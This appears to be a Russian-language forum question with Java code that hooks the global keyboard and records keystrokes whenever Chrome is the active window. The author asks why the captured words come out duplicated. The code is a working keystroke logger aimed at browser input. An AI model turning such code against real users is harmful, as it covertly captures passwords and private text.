Беспорядочное чтение нативных данных

Пишу класс, который будет считывать нажатые клавиши только при активном окне Хрома:

Вспомогательный класс, которых читает клавиши:

    public class BoardLogger implements NativeKeyListener {
    private String letter="";

    public String getLetter() {
        return letter;
    }
    public void clearLetter () {
        letter="";
    }

    @Override
    public void nativeKeyTyped(NativeKeyEvent nke) {
    }
    @Override
    public void nativeKeyPressed(NativeKeyEvent nke) {
        System.out.println("Key pressed: "+NativeKeyEvent.getKeyText(nke.getKeyCode()));
        this.letter=NativeKeyEvent.getKeyText(nke.getKeyCode());
    }
    @Override
    public void nativeKeyReleased(NativeKeyEvent nke) {
    }

}

Класс ClientLogger:

    public class ClientLogger implements Runnable {
        private static final int MAX_TITLE_LENGHT = 2014;
        private char [] buffer = new char [MAX_TITLE_LENGHT*2];
        private BoardLogger boardlogger = new BoardLogger();
        private String letter;
        private ArrayList <String> wordsList = new ArrayList <String>();
        private final String REGEX = "(.* [Chrome]+)";
    public ArrayList <String> getWordList() {
        return wordsList;
    }
    private String cheackActiveWindow() {
        User32DLL.GetWindowTextW(User32DLL.GetForegroundWindow(), buffer, MAX_TITLE_LENGHT);
         return Native.toString(buffer);  
    }
    @Override
    public void run() {
        Pattern p = Pattern.compile(REGEX, Pattern.CASE_INSENSITIVE); 
        String word = "";
        int i=0;
        try {GlobalScreen.registerNativeHook();} 
        catch (NativeHookException ex) {ex.printStackTrace();}
        GlobalScreen.addNativeKeyListener(boardlogger);
        while (!Thread.currentThread().isInterrupted()) {
            Matcher m = p.matcher(this.cheackActiveWindow());
            if (m.find()) { 
                if (!boardlogger.getLetter().isEmpty()) {
                    System.out.println("-------------------");
                    System.out.println("<<<<<<<<<<CHROME IS ATCIVE!!!");
                    System.out.println("-------------------");
                    letter=boardlogger.getLetter();
                    word+=word.concat(letter);
                    boardlogger.clearLetter();
                    letter="";
                }    
            }
            else {
                System.out.println("-------------------");
                System.out.println(">>>>>>>>CHROME IS NOT ATCIVE!!!");                    
                System.out.println("-------------------");
                wordsList.add(i, word);
                word="";
                i++;
            }
            try {TimeUnit.MILLISECONDS.sleep(100);} 
            catch (InterruptedException ex) {ex.printStackTrace();}
        }
        GlobalScreen.removeNativeKeyListener(boardlogger);
        try {GlobalScreen.unregisterNativeHook();} 
        catch (NativeHookException ex) {ex.printStackTrace();}             
    }
}

Пробую запустить:

public class MainClass {
    public static void main(String[] args){
        ClientLogger clientlogger = new ClientLogger ();
        Thread threadLogger = new Thread (clientlogger);
        threadLogger.start();
        try {TimeUnit.SECONDS.sleep(10);} 
        catch (InterruptedException ex) {ex.printStackTrace();}
        threadLogger.interrupt();
        List <String> list = new ArrayList<String>();
        list.addAll(clientlogger.getWordList());
        list.removeIf(x->x.equals(""));
        System.out.println("from main: "+list);
        System.exit(0);
        }
}

Когда ввожу, например one, делаю alt+tab, возвращаюсь, ввожу two на выходе вместо

[ONE, TWO] 

получается дичь:

[OONOONE, TTWTTWO]